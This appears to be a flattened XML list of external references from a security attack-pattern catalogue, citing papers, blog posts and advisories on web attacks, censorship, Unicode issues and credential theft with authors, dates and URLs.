2009 + + + + + 2 + + + + + 2 + + + + + IBM Rational Application Security Group + + + + + http://blog.watchfire.com/wfblog/2009/02/active-man-in-the-middle-attacks.html + + + + + + + + + + + + #indExternalReferenceCrossSiteIdentificationOrHowYourSocialNetworkMightExposeYouWhenYouLeastExpectIt + Cross Site Identification - or - How your social network might expose you when you least expect it + + + + + + + + + REF-404 + + + + + Ronen + + + + + Cross Site Identification - or - How your social network might expose you when you least expect it + + + + + 2009 + + + + + 12 + + + + + 27 + + + + + http://blog.quaji.com/2009/12/out-of-context-information-disclosure.html + + + + + + + + + + + + #indExternalReferenceGenericCrossBrowserCrossDomainTheft + Generic cross-browser cross-domain theft + + + + + + + + + REF-405 + + + + + Chris Evans + + + + + Generic cross-browser cross-domain theft + + + + + 2009 + + + + + 12 + + + + + 28 + + + + + http://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html + + + + + + + + + + + + #indExternalReferenceSlowrisHTTPDoS + Slowris HTTP DoS + + + + + + + + + REF-406 + + + + + Robert Hansen + + + + + Slowris HTTP DoS + + + + + 2009 + + + + + 6 + + + + + 17 + + + + + http://ha.ckers.org/blog/20090617/slowloris-http-dos/ + + + + + + + + + + + + #indExternalReferenceAdvancedSQLInjectionToOperatingSystemFullControl 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#indExternalReferenceTheStateOfHomographAttacks + The state of homograph attacks + + + + + + + + + REF-414 + + + + + Eric Johanson + + + + + The state of homograph attacks + + + + + 2005 + + + + + 2 + + + + + 11 + + + + + http://www.shmoo.com/idn/homograph.txt + + + + + + + + + + + + #indExternalReferenceCoreConceptsAttackPatterns + Core Concepts: Attack Patterns + + + + + + + + + REF-416 + + + + + Core Concepts: Attack Patterns + + + + + https://websec.io/2012/11/26/Core-Concepts-Attack-Patterns.html + + + + + + + + + + + + #indExternalReferenceMicrosoftSecurityBulletinMS13002 + Microsoft Security Bulletin MS13-002 + + + + + + + + + REF-418 + + + + + Microsoft Security Bulletin MS13-002 + + + + + Version 1.1 + + + + + Microsoft Security Response Center Archive + + + + + 2013 + + + + + 1 + + + + + 8 + + + + + Microsoft + + + + + https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2013/ms13-002 + + + + + + + + + + + + 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Smart + + + + + Attacking DSA Under a Repeated Bits Assumption + + + + + 2004 + + + + + 7 + + + + + http://www.iacr.org/archive/ches2004/31560428/31560428.pdf + + + + + + + + + + + + #indExternalReferenceDSA15711OpensslPredictableRandomNumberGenerator + DSA-1571-1 openssl -- predictable random number generator + + + + + + + + + REF-420 + + + + + Debian Security + + + + + DSA-1571-1 openssl -- predictable random number generator + + + + + 2008 + + + + + 5 + + + + + 13 + + + + + http://www.debian.org/security/2008/dsa-1571 + + + + + + + + + + + + #indExternalReferenceRegularExpressionDenialOfServiceAttacksAndDefenses + Regular Expression Denial of Service Attacks and Defenses + + + + + + + + + REF-421 + + + + + Bryan Sullivan + + + + + Regular Expression Denial of Service Attacks and Defenses + + + + + http://msdn.microsoft.com/en-au/magazine/ff646973.aspx + + + + + + + + + + + + #indExternalReferenceSOAPArrayAttack + SOAP Array Attack + + + + + + + + + REF-422 + + + + + SOAP Array Attack + + + + + http://www.ws-attacks.org/index.php/Soap_Array_Attack + + + + + + + + + + + + #indExternalReferenceSecurityConsiderationsIPFragmentFiltering + Security Considerations - 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+ + + + REF-464 + + + + + Analysis of Country-wide Internet Outages Caused by Censorship + + + + + 2011 + + + + + Center for Applied Internet Data Analysis + + + + + http://www.caida.org/publications/papers/2011/outages_censorship/outages_censorship.pdf + + + + + + + + + + + + #indExternalReferenceWhyIsItTakingSoLongToSecureInternetRouting? + Why is it Taking so Long to Secure Internet Routing? + + + + + + + + + REF-465 + + + + + Why is it Taking so Long to Secure Internet Routing? + + + + + 2014 + + + + + ACM + + + + + https://queue.acm.org/detail.cfm?id=2668966 + + + + + + + + + + + + #indExternalReferenceBewareOfBGPAttacks + Beware of BGP Attacks + + + + + + + + + REF-466 + + + + + Beware of BGP Attacks + + + + + 2004 + + + + + ACM SIGCOMM + + + + + http://www.cc.gatech.edu/~dovrolis/Papers/ccr-bgp.pdf + + + + + + + + + + + + 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+ + + + + 2017 + + + + + 1 + + + + + OWASP + + + + + + + + + + + + #indExternalReferenceCrossFrameScripting + Cross Frame Scripting + + + + + + + + + REF-469 + + + + + Cross Frame Scripting + + + + + 2016 + + + + + OWASP + + + + + https://www.owasp.org/index.php/Cross_Frame_Scripting + + + + + + + + + + + + #indExternalReferenceBustingFrameBustingAStudyOfClickjackingVulnerabilitiesOnPopularSites + Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites + + + + + + + + + REF-470 + + + + + Gustave Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson + + + + + Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites + + + + + 2010 + + + + + 7 + + + + + 20 + + + + + https://seclab.stanford.edu/websec/framebusting/framebust.pdf + + + + + + + + + + + + #indExternalReferenceDOMBasedCrossSiteScriptingOrXSSOfTheThirdKind + DOM Based Cross Site Scripting or XSS of the Third Kind + + + + + + + + + REF-471 + + + + + Amit Klein + + + + + DOM Based Cross Site Scripting or XSS of the Third Kind + + + + + http://www.webappsec.org/projects/articles/071105.shtml + + + + + + + + + + + + #indExternalReferenceAComprehensiveTutorialOnCrossSiteScripting + A comprehensive tutorial on cross-site scripting + + + + + + + + + REF-472 + + + + + Jakob Kallin + + + + + Irene Lobo Valbuena + + + + + A comprehensive tutorial on cross-site scripting + + + + + https://excess-xss.com/ + + + + + + + + + + + + #indExternalReferenceCensorshipInTheWildAnalyzingInternetFilteringInSyria + Censorship in the Wild: Analyzing Internet Filtering in Syria + + + + + + + + + REF-473 + + + + + Censorship in the Wild: Analyzing Internet Filtering in Syria + + + + + 2014 + + + + + Sigcomm + + + + + http://conferences2.sigcomm.org/imc/2014/papers/p285.pdf + + + + + + + + + + + + #indExternalReferenceCensorshipInTheWildAnalyzingInternetFilteringInSyria + Censorship in the Wild: Analyzing Internet Filtering in Syria + + + + + + + + + REF-475 + + + + + Abdelberi Chaabane + + + + + Terence Chen + + + + + Mathieu Cunche + + + + + Emiliano De Cristofaro + + + + + Arik Friedman + + + + + Mohamed Ali Kaafar + + + + + Censorship in the Wild: Analyzing Internet Filtering in Syria + + + + + 2014 + + + + + 2 + + + + + IMC 2014 + + + + + + + + + + + + #indExternalReferenceXSSVulnerabilitiesInGoogleDotCom + XSS vulnerabilities in Google.com + + + + + + + + + REF-476 + + + + + Watchfire Research + + + + + XSS vulnerabilities in Google.com + + + + + Full Disclosure mailing list archives + + + + + http://seclists.org/fulldisclosure/2005/Dec/1107 + + + + + + + + + + + + #indExternalReferenceInferringMechanicsOfWebCensorshipAroundTheWorld + Inferring Mechanics of Web Censorship Around the World + + + + + + + + + REF-477 + + + + + John-Paul Verkamp + + + + + Minaxi Gupta + + + + + Inferring Mechanics of Web Censorship Around the World + + + + + 2012 + + + + + USENIX + + + + + + + + + + + + #indExternalReferenceTowardsAComprehensivePictureOfTheGreatFirewallSDNSCensorship + Towards a Comprehensive Picture of the Great Firewall's DNS Censorship + + + + + + + + + REF-479 + + + + + Anonymous + + + + + Towards a Comprehensive Picture of the Great Firewall's DNS Censorship + + + + + 2014 + + + + + USENIX + + + + + + + + + + + + #indExternalReferenceJavaWebStartArgumentInjectionVulnerability + Java Web Start argument injection vulnerability + + + + + + + + + REF-482 + + + + + Jouko Pynnonen + + + + + Java Web Start argument injection vulnerability + + + + + http://www.securityfocus.com/archive/1/393696 + + + + + + + + + + + + #indExternalReferenceBitsquattingDNSHijackingWithoutExploitation + Bitsquatting: DNS Hijacking without exploitation + + + + + + + + + REF-485 + + + + + Artem Dinaburg + + + + + Bitsquatting: DNS Hijacking without exploitation + + + + + Raytheon + + + + + http://media.blackhat.com/bh-us-11/Dinaburg/BH_US_11_Dinaburg_Bitsquatting_WP.pdf + + + + + + + + + + + + #indExternalReferenceRootingSIMCards + Rooting SIM Cards + + + + + + + + + REF-486 + + + + + Karsten Nohl + + + + + Rooting SIM Cards + + + + + Security Research Labs + + + + + https://srlabs.de/rooting-sim-cards/ + + + + + + + + + + + + #indExternalReferenceLocationLeaksOnTheGSMAirInterface + Location Leaks on the GSM Air Interface + + + + + + + + + REF-487 + + + + + Denis Foo Kune + + + + + John Koelndorfer + + + + + Nicholas Hopper + + + + + Yongdae Kim + + + + + Location Leaks on the GSM Air Interface + + + + + University of Minnesota + + + + + https://www-users.cs.umn.edu/~hoppernj/celluloc.pdf + + + + + + + + + + + + #indExternalReferenceWikipedia + Wikipedia + + + + + + + + + REF-489 + + + + + Wikipedia + + + + + The Wikimedia Foundation, Inc + + + + + https://en.wikipedia.org/wiki/Spoofing_attack#GPS_Spoofing + + + + + + + + + + + + #indExternalReferenceSoundsquattingUncoveringTheUseOfHomophonesInDomainSquatting + Soundsquatting: Uncovering the Use of Homophones in Domain Squatting + + + + + + + + + REF-491 + + + + + Nick Nikiforakis + + + + + Marco Balduzzi + + + + + Lieven Desmet + + + + + Frank Piessens + + + + + Wouter Joosen + + + + + Soundsquatting: Uncovering the Use of Homophones in Domain Squatting + + + + + Trend Micro + + + + + https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-soundsquatting.pdf + + + + + + + + + + + + #indExternalReferenceAlternateDataStreamsOutOfTheShadowsAndIntoTheLight + Alternate Data Streams: Out of the Shadows and into the Light + + + + + + + + + REF-493 + + + + + Means, Ryan L. + + + + + Alternate Data Streams: Out of the Shadows and into the Light + + + + + SANS Institute + + + + + https://www.giac.org/paper/gcwn/230/alternate-data-streams-shadows-light/104234 + + + + + + + + + + + + #indExternalReferenceURLEncodedAttacksAttacksUsingTheCommonWebBrowser + URL Encoded Attacks - Attacks using the common web browser + + + + + + + + + REF-495 + + + + + Gunter Ollmann + + + + + URL Encoded Attacks - Attacks using the common web browser + + + + + CGISecurity.com + + + + + http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html + + + + + + + + + + + + #indExternalReferenceRFC3986UniformResourceIdentifierGenericSyntax + RFC 3986 - Uniform Resource Identifier (URI): Generic Syntax + + + + + + + + + REF-496 + + + + + T. Berners-Lee + + + + + R. Fielding + + + + + L. Masinter + + + + + RFC 3986 - Uniform Resource Identifier (URI): Generic Syntax + + + + + 2005 + + + + + 1 + + + + + http://www.ietf.org/rfc/rfc3986.txt + + + + + + + + + + + + #indExternalReferenceRFC1738UniformResourceLocators + RFC 1738 - Uniform Resource Locators (URL) + + + + + + + + + REF-497 + + + + + T. Berners-Lee + + + + + L. Masinter + + + + + M. McCahill + + + + + RFC 1738 - Uniform Resource Locators (URL) + + + + + 1994 + + + + + 12 + + + + + http://www.ietf.org/rfc/rfc1738.txt + + + + + + + + + + + + #indExternalReferenceHTMLURLEncodingReference + HTML URL Encoding Reference + + + + + + + + + REF-498 + + + + + HTML URL Encoding Reference + + + + + W3Schools.com + + + + + Refsnes Data + + + + + http://www.w3schools.com/tags/ref_urlencode.asp + + + + + + + + + + + + #indExternalReferenceTheURLEncodeAndURLDecodePage + The URLEncode and URLDecode Page + + + + + + + + + REF-499 + + + + + The URLEncode and URLDecode Page + + + + + Albion Research Ltd + + + + + http://www.albionresearch.com/misc/urlencode.php + + + + + + + + + + + + #indExternalReferenceSecureProgrammingForLinuxAndUnixHOWTO + Secure Programming for Linux and Unix HOWTO + + + + + + + + + REF-500 + + + + + David Wheeler + + + + + Secure Programming for Linux and Unix HOWTO + + + + + http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/filter-html.html#VALIDATING-URIS + + + + + + + + + + + + #indExternalReferenceDLLSIDELOADINGAThornInTheSideOfTheAntiVirusIndustry + DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry + + + + + + + + + REF-501 + + + + + Stewart A. + + + + + DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry + + + + + FireEye + + + + + https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf + + + + + + + + + + + + #indExternalReferenceExploitingFormatStringVulnerabilities + Exploiting Format String Vulnerabilities + + + + + + + + + REF-503 + + + + + scut + + + + + team teso + + + + + Exploiting Format String Vulnerabilities + + + + + http://doc.bughunter.net/format-string/exploit-fs.html + + + + + + + + + + + + #indExternalReferenceAuditingBinariesForSecurityVulnerabilities + Auditing binaries for security vulnerabilities + + + + + + + + + REF-504 + + + + + Halvar Flake + + + + + Auditing binaries for security vulnerabilities + + + + + http://www.blackhat.com/presentations/bh-europe-00/HalvarFlake/HalvarFlake.ppt + + + + + + + + + + + + #indExternalReferenceFortifyTaxonomyOfVulnerabilities + Fortify Taxonomy of Vulnerabilities + + + + + + + + + REF-505 + + + + + Fortify Taxonomy of Vulnerabilities + + + + + Fortify Software + + + + + https://vulncat.hpefod.com/en + + + + + + + + + + + + #indExternalReferenceSyslogManPage + Syslog man page + + + + + + + + + REF-506 + + + + + Syslog man page + + + + + http://www.rt.com/man/syslog.3.html + + + + + + + + + + + + #indExternalReferenceSecuringPHPStepByStep + Securing PHP: Step-by-Step + + + + + + + + + REF-520 + + + + + Artur Maj + + + + + Securing PHP: Step-by-Step + + + + + 2003 + + + + + 6 + + + + + 22 + + + + + Security Focus + + + + + http://www.securityfocus.com/infocus/1706 + + + + + + + + + + + + #indExternalReferenceTenSecurityChecksForPHPPart1 + Ten Security Checks for PHP, Part 1 + + + + + + + + + REF-521 + + + + + Clancy Malcolm + + + + + Ten Security Checks for PHP, Part 1 + + + + + 2003 + + + + + 3 + + + + + 20 + + + + + + + + + + + + #indExternalReferencePHPManual + PHP Manual + + + + + + + + + REF-522 + + + + + PHP Manual + + + + + The PHP Group + + + + + http://www.php.net/manual/en/security.globals.php + + + + + + + + + + + + #indExternalReferenceUTF8AndUnicodeFAQForUnixOrLinux + UTF-8 and Unicode FAQ for Unix/Linux + + + + + + + + + REF-525 + + + + + Markus Kuhn + + + + + UTF-8 and Unicode FAQ for Unix/Linux + + + + + 1999 + + + + + 6 + + + + + 4 + + + + + http://www.cl.cam.ac.uk/~mgk25/unicode.html + + + + + + + + + + + + #indExternalReferenceWritingSecureCode + Writing Secure Code + + + + + + + + + REF-530 + + + + + Michael Howard + + + + + David LeBlanc + + + + + Writing Secure Code + + + + + Microsoft Press + + + + + + + + + + + + #indExternalReferenceSecurityRisksOfUnicode + Security Risks of Unicode + + + + + + + + + REF-531 + + + + + Bruce Schneier + + + + + Security Risks of Unicode + + + + + Crypto-Gram Newsletter + + + + + 2000 + + + + + 7 + + + + + 15 + + + + + https://www.schneier.com/crypto-gram/archives/2000/0715.html + + + + + + + + + + + + #indExternalReferenceWikipedia + Wikipedia + + + + + + + + + REF-532 + + + + + Wikipedia + + + + + The Wikimedia Foundation, Inc + + + + + http://en.wikipedia.org/wiki/UTF-8 + + + + + + + + + + + + #indExternalReferenceRFC3629UTF8ATransformationFormatOfISO10646 + RFC 3629 - UTF-8, a transformation format of ISO 10646 + + + + + + + + + REF-533 + + + + + F. Yergeau + + + + + RFC 3629 - UTF-8, a transformation format of ISO 10646 + + + + + 2003 + + + + + 11 + + + + + http://www.faqs.org/rfcs/rfc3629.html + + + + + + + + + + + + #indExternalReferenceCorrigendumSharp1UTF8ShortestForm + Corrigendum #1: UTF-8 Shortest Form + + + + + + + + + REF-535 + + + + + Corrigendum #1: UTF-8 Shortest Form + + + + + The Unicode Standard + + + + + 2001 + + + + + 3 + + + + + Unicode, Inc. + + + + + http://www.unicode.org/versions/corrigendum1.html + + + + + + + + + + + + #indExternalReferenceUTF8DecoderCapabilityAndStressTest + UTF-8 decoder capability and stress test + + + + + + + + + REF-537 + + + + + Markus Kuhn + + + + + UTF-8 decoder capability and stress test + + + + + 2003 + + + + + 2 + + + + + 19 + + + + + http://www.cl.cam.ac.uk/%7Emgk25/ucs/examples/UTF-8-test.txt + + + + + + + + + + + + #indExternalReferenceAjaxFingerprintingForWeb2Dot0Applications + Ajax fingerprinting for Web 2.0 Applications + + + + + + + + + REF-539 + + + + + Shreeraj Shah + + + + + Ajax fingerprinting for Web 2.0 Applications + + + + + Help Net Security + + + + + https://www.helpnetsecurity.com/dl/articles/Ajax_fingerprinting.pdf + + + + + + + + + + + + #indExternalReferenceSecuniaAdvisorySA16869FirefoxCommandLineURLShellCommandInjection + Secunia Advisory SA16869: Firefox Command Line URL Shell Command Injection + + + + + + + + + REF-543 + + + + + Secunia Advisory SA16869: Firefox Command Line URL Shell Command Injection + + + + + Secunia Advisories + + + + + 2005 + + + + + 9 + + + + + 20 + + + + + Secunia + + + + + http://secunia.com/advisories/16869/ + + + + + + + + + + + + #indExternalReferenceSAMATESoftwareAssuranceMetricsAndToolEvaluation + SAMATE - Software Assurance Metrics And Tool Evaluation + + + + + + + + + REF-547 + + + + + Robert C. Seacord + + + + + SAMATE - Software Assurance Metrics And Tool Evaluation + + + + + 2006 + + + + + 5 + + + + + 22 + + + + + National Institute of Standards and Technology (NIST) + + + + + http://samate.nist.gov/SRD/view_testcase.php?tID=1511 + + + + + + + + + + + + #indExternalReferenceSecureCodingInCAndCPlusPlus + Secure Coding in C and C++ + + + + + + + + + REF-548 + + + + + Robert C. Seacord + + + + + Secure Coding in C and C++ + + + + + + + + + + + + #indExternalReferenceTheNightTheLogWasForged + The night the log was forged + + + + + + + + + REF-550 + + + + + A. Muffet + + + + + The night the log was forged + + + + + http://doc.novsu.ac.ru/oreilly/tcpip/puis/ch10_05.htm + + + + + + + + + + + + #indExternalReferenceTheOWASPApplicationSecurityDeskReference + The OWASP Application Security Desk Reference + + + + + + + + + REF-551 + + + + + The OWASP Application Security Desk Reference + + + + + 2009 + + + + + The Open Web Application Security Project (OWASP) + + + + + https://www.owasp.org/index.php/Log_Injection + + + + + + + + + + + + #indExternalReferenceSAMATESoftwareAssuranceMetricsAndToolEvaluation + SAMATE - Software Assurance Metrics And Tool Evaluation + + + + + + + + + REF-552 + + + + + Fortify Software + + + + + SAMATE - Software Assurance Metrics And Tool Evaluation + + + + + 2006 + + + + + 6 + + + + + 22 + + + + + National Institute of Standards and Technology (NIST) + + + + + https://samate.nist.gov/SRD/view_testcase.php?tID=1579 + + + + + + + + + + + + #indExternalReferenceComputerSecurityArtAndScience + Computer Security: Art and Science + + + + + + + + + REF-553 + + + + + M. Bishop + + + + + Computer Security: Art and Science + + + + + 2003 + + + + + Addison-Wesley + + + + + + + + + + + + #indExternalReferenceAnatomyOfAWebServicesAttack + Anatomy of a Web Services Attack + + + + + + + + + REF-554 + + + + + Walid Negm + + + + + Anatomy of a Web Services Attack + + + + + 2004 + + + + + 3 + + + + + 1 + + + + + ForumSystems + + + + + https://www.forumsys.com/wp-content/uploads/2014/01/Anatomy-of-a-Web-Services-Attack.pdf + + + + + + + + + + + + #indExternalReferenceSevenStepsToXMLMastery + Seven Steps to XML Mastery + + + + + + + + + REF-555 + + + + + Frank Coyle + + + + + Seven Steps to XML Mastery + + + + + 2006 + + + + + 8 + + + + + 25 + + + + + http://www.informit.com/articles/article.aspx?p=601349 + + + + + + + + + + + + #indExternalReferenceWikipedia + Wikipedia + + + + + + + + + REF-556 + + + + + Wikipedia + + + + + The Wikimedia Foundation, Inc + + + + + http://en.wikipedia.org/wiki/Cryptanalysis + + + + + + + + + + + + #indExternalReferencePHPXMLRPCRemoteCodeExecution + PHPXMLRPC Remote Code Execution + + + + + + + + + REF-558 + + + + + GulfTech Security Research + + + + + PHPXMLRPC Remote Code Execution + + + + + 2005 + + + + + 6 + + + + + 29 + + + + + http://www.securityfocus.com/archive/1/403987 + + + + + + + + + + + + #indExternalReferenceExtractingServiceAccountPasswordsWithKerberoasting + Extracting Service Account Passwords with Kerberoasting + + + + + + + + + REF-559 + + + + + Jeff Warren + + + + + Extracting Service Account Passwords with Kerberoasting + + + + + 2017 + + + + + 5 + + + + + 9 + + + + + https://blog.stealthbits.com/extracting-service-account-passwords-with-kerberoasting/ + + + + + + + + + + + + #indExternalReferenceElaborateWaysToExploitXSSFlashParameterInjection + Elaborate Ways to Exploit XSS: Flash Parameter Injection (FPI) + + + + + + + + + REF-560 + + + + + Elaborate Ways to Exploit XSS: Flash Parameter Injection (FPI) + + + + + 2014 + + + + + 4 + + + + + 8 + + + + + Acunetix + + + + + https://www.acunetix.com/blog/articles/elaborate-ways-exploit-xss-flash-parameter-injection/ + + + + + + + + + + + + #indExternalReferenceCrossSiteFlashing + Cross-Site Flashing + + + + + + + + + REF-561 + + + + + Cross-Site Flashing + + + + + Trustwave + + + + + http://doc.cenzic.com/sadoc9x14ba847/CPL0001509.htm + + + + + + + + + + + + #indExternalReferenceMicrosoftSChainOfFools + Microsoft's Chain of Fools + + + + + + + + + REF-562 + + + + + Kenn White + + + + + Microsoft's Chain of Fools + + + + + 2020 + + + + + 1 + + + + + 15 + + + + + First Principles + + + + + https://blog.lessonslearned.org/chain-of-fools/ + + + + + 2020-04-29 + + + + + + + + + + + + #indExternalReferencePatchCriticalCryptographicVulnerabilityInMicrosoftWindowsClientsAndServers + Patch Critical Cryptographic Vulnerability in Microsoft Windows Clients and Servers + + + + + + + + + REF-563 + + + + + Patch Critical Cryptographic Vulnerability in Microsoft Windows Clients and Servers + + + + + 2020 + + + + + 1 + + + + + 14 + + + + + National Security Agency (NSA) + + + + + https://media.defense.gov/2020/Jan/14/2002234275/-1/-1/0/CSA-WINDOWS-10-CRYPT-LIB-20190114.PDF + + + + + 2020-04-29 + + + + + + + + + + + + #indExternalReferenceAnalysisOfREF563 + Analysis of REF-563 + + + + + + + + + REF-564 + + + + + Thomas Ptacek + + + + + Thomas Pornin + + + + + Analysis of REF-563 + + + + + Hacker News + + + + + https://news.ycombinator.com/item?id=22048619 + + + + + 2020-04-29 + + + + + + + + + + + + #indExternalReferenceACSCReleasesAdvisoryOnPasswordSprayingAttacks + ACSC Releases Advisory on Password Spraying Attacks + + + + + + + + + REF-565 + + + + + ACSC Releases Advisory on Password Spraying Attacks + + + + + 2019 + + + + + 8 + + + + + 8 + + + + + Cybersecurity and Infrastructure Security Agency (CISA) + + + + + https://www.us-cert.gov/ncas/current-activity/2019/08/08/acsc-releases-advisory-password-spraying-attacks + + + + + 2020-04-30 + + + + + + + + + + + + #indExternalReferenceANotoriousIranianHackingCrewIsTargetingIndustrialControlSystems + A notorious Iranian hacking crew is targeting industrial control systems + + + + + + + + + REF-566 + + + + + Andy Greenberg + + + + + A notorious Iranian hacking crew is targeting industrial control systems + + + + + 2019 + + + + + 11 + + + + + 23 + + + + + Ars Technica + + + + + https://arstechnica.com/information-technology/2019/11/a-notorious-iranian-hacking-crew-is-targeting-industrial-control-systems/ + + + + + 2020-04-30 + + + + + + + + + + + + #indExternalReferenceAlertBruteForceAttacksConductedByCyberActors + Alert (TA18-086A): Brute Force Attacks Conducted by Cyber Actors + + + + + + + + + REF-567 + + + + + Alert (TA18-086A): Brute Force Attacks Conducted by Cyber Actors + + + + + 2018 + + + + + 3 + + + + + 27 + + + + + Cybersecurity and Infrastructure Security Agency (CISA) + + + + + https://www.us-cert.gov/ncas/alerts/TA18-086A + + + + + 2020-05-01 + + + + + + + + + + + + #indExternalReferenceCredentialStuffing + Credential stuffing + + + + + + + + + REF-568 + + + + + Credential stuffing + + + + + Open Web Application Security Project (OWASP) + + + + + https://owasp.org/www-community/attacks/Credential_stuffing + + + + + 2020-05-01 + + + + + + + + + + + + #indExternalReferenceJPMorganChaseHackingAffects76MillionHouseholds + JPMorgan Chase Hacking Affects 76 Million Households + + + + + + + + + REF-569 + + + + + Jessica Silver-Greenberg + + + + + Matthew Goldstein + + + + + Nicole Perlroth + + + + + JPMorgan Chase Hacking Affects 76 Million Households + + + + + 2014 + + + + + 10 + + + + + 2 + + + + + The New York Times + + + + + https://dealbook.nytimes.com/2014/10/02/jpmorgan-discovers-further-cyber-security-issues/ + + + + + 2020-05-01 + + + + + + + + + + + + #indExternalReferenceAttractiveAccountsForCredentialTheft + Attractive Accounts for Credential Theft + + + + + + + + + REF-570 + + + + + Attractive Accounts for Credential Theft + + + + + 2017 + + + + + 5 + + + + + 31 + + + + + Microsoft Corporation + + + + + https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/attractive-accounts-for-credential-theft?redirectedfrom=MSDN + + + + + 2020-05-05 + + + + + + + + + + + + #indExternalReferenceTwoYearsOfPawnStormExaminingAnIncreasinglyRelevantThreat + Two Years of Pawn Storm: Examining an Increasingly Relevant Threat + + + + + + + + + REF-571 + + + + + Feike Hacquebord + + + + + Two Years of Pawn Storm: Examining an Increasingly Relevant Threat + + + + + 2017 + + + + + 4 + + + + + 25 + + + + + Trend Micro + + + + + https://documents.trendmicro.com/assets/wp/wp-two-years-of-pawn-storm.pdf + + + + + 2020-05-05 + + + + + + + + + + + + #indExternalReferenceCorporateIoT–APathToIntrusion + Corporate IoT – a path to intrusion + + + + + + + + + REF-572 + + + + + Corporate IoT – a path to intrusion + + + + + 2019 + + + + + 10 + + + + + 5 + + + + + Microsoft Security Response Center (MSRC) + + + + + https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion + + + + + 2020-05-05 + + + + + + + + + + + + #indExternalReferencePickSixInterceptingAFIN6IntrusionAnActorRecentlyTiedToRyukAndLockerGogaRansomware + Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware + + + + + + + + + REF-573 + + + + + Brendan McKeague + + + + + Van Ta + + + + + Ben Fedore + + + + + Geoff Ackerman + + + + + Alex Pennino + + + + + Andrew Thompson + + + + + Douglas Bienstock + + + + + Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware + + + + + 2019 + + + + + 4 + + + + + 5 + + + + + Microsoft Security Response Center (MSRC) + + + + + https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html + + + + + 2020-05-05 + + + + + + + + + + + + #indExternalReferenceRisksOfDefaultPasswordsOnTheInternet + Risks of Default Passwords on the Internet + + + + + + + + + REF-574 + + + + + Risks of Default Passwords on the Internet + + + + + 2016 + + + + + 10 + + + + + 7 + + + + + Cybersecurity and Infrastructure Security Agency (CISA) + + + + + https://www.us-cert.gov/ncas/alerts/TA13-175A + + + + + 2020-05-05 + + + + + + + + + + + + #indExternalReferenceAttackersCanUseZoomToStealUsers’WindowsCredentialsWithNoWarning + Attackers can use Zoom to steal users’ Windows credentials with no warning + + + + + + + + + REF-575 + + + + + Dan Goodin + + + + + Attackers can use Zoom to steal users’ Windows credentials with no warning + + + + + 2020 + + + + + 4 + + + + + 1 + + + + + Ars Technica + + + + + https://arstechnica.com/information-technology/2020/04/unpatched-zoom-bug-lets-attackers-steal-windows-credentials-with-no-warning/ + + + + + 2020-05-07 + + + + + + + + + + + + #indExternalReferenceHowAttackersAreStealingYourCredentialsWithMimikatz + How Attackers are Stealing Your Credentials with Mimikatz + + + + + + + + + REF-576 + + + + + Jeff Warren + + + + + How Attackers are Stealing Your Credentials with Mimikatz + + + + + 2017 + + + + + 7 + + + + + 11 + + + + + STEALTHbits Technologies, Inc. + + + + + https://blog.stealthbits.com/how-attackers-are-stealing-your-credentials-with-mimikatz/ + + + + + 2020-05-07 + + + + + + + + + + + + #indExternalReferenceOverviewOfProblemsThatMayOccurWhenAdministrativeSharesAreMissing + Overview of problems that may occur when administrative shares are missing + + + + + + + + + REF-577 + + + + + Overview of problems that may occur when administrative shares are missing + + + + + 2017 + + + + + 3 + + + + + 13 + + + + + Microsoft Corporation + + + + + https://support.microsoft.com/en-us/help/842715/overview-of-problems-that-may-occur-when-administrative-shares-are-mis + + + + + 2020-05-07 + + + + + + + + + + + + #indExternalReferenceHAPT15IsAliveAndStrongAnAnalysisOfRoyalCliAndRoyalDNS + HAPT15 is alive and strong: An analysis of RoyalCli and RoyalDNS + + + + + + + + + REF-578 + + + + + Rob Smallridge + + + + + HAPT15 is alive and strong: An analysis of RoyalCli and RoyalDNS + + + + + 2018 + + + + + 3 + + + + + 10 + + + + + NCC Group + + + + + https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/ + + + + + 2020-05-07 + + + + + + + + + + + + #indExternalReferenceOperationCobaltKittyCybereasonLabsAnalysis + Operation Cobalt Kitty: Cybereason Labs Analysis + + + + + + + + + REF-579 + + + + + Assaf Dahan + + + + + Operation Cobalt Kitty: Cybereason Labs Analysis + + + + + 2017 + + + + + CyberReason + + + + + https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf + + + + + 2020-05-07 + + + + + + + + + + + + #indExternalReferenceOperationSoftCellAWorldwideCampaignAgainstTelecommunicationsProviders + Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers + + + + + + + + + REF-580 + + + + + Mor Levi + + + + + Assaf Dahan + + + + + Amit Serper + + + + + Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers + + + + + 2019 + + + + + 6 + + + + + 25 + + + + + CyberReason + + + + + https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers + + + + + 2020-05-07 + + + + + + + + + + + + #indExternalReferenceMitigatingPassTheHashAndOtherCredentialTheftV2 + Mitigating Pass-the-Hash and Other Credential Theft v2 + + + + + + + + + REF-581 + + + + + Mitigating Pass-the-Hash and Other Credential Theft v2 + + + + + Microsoft Corporation + + + + + https://docs.microsoft.com/en-us/previous-versions/dn785092(v=msdn.10)?redirectedfrom=MSDN + + + + + 2020-05-07 + + + + + + + + + + + + #indExternalReferenceHowPassTheHashWorks + How Pass-the-Hash works + + + + + + + + + REF-582 + + + + + How Pass-the-Hash works + + + + + Microsoft Corporation + + + + + 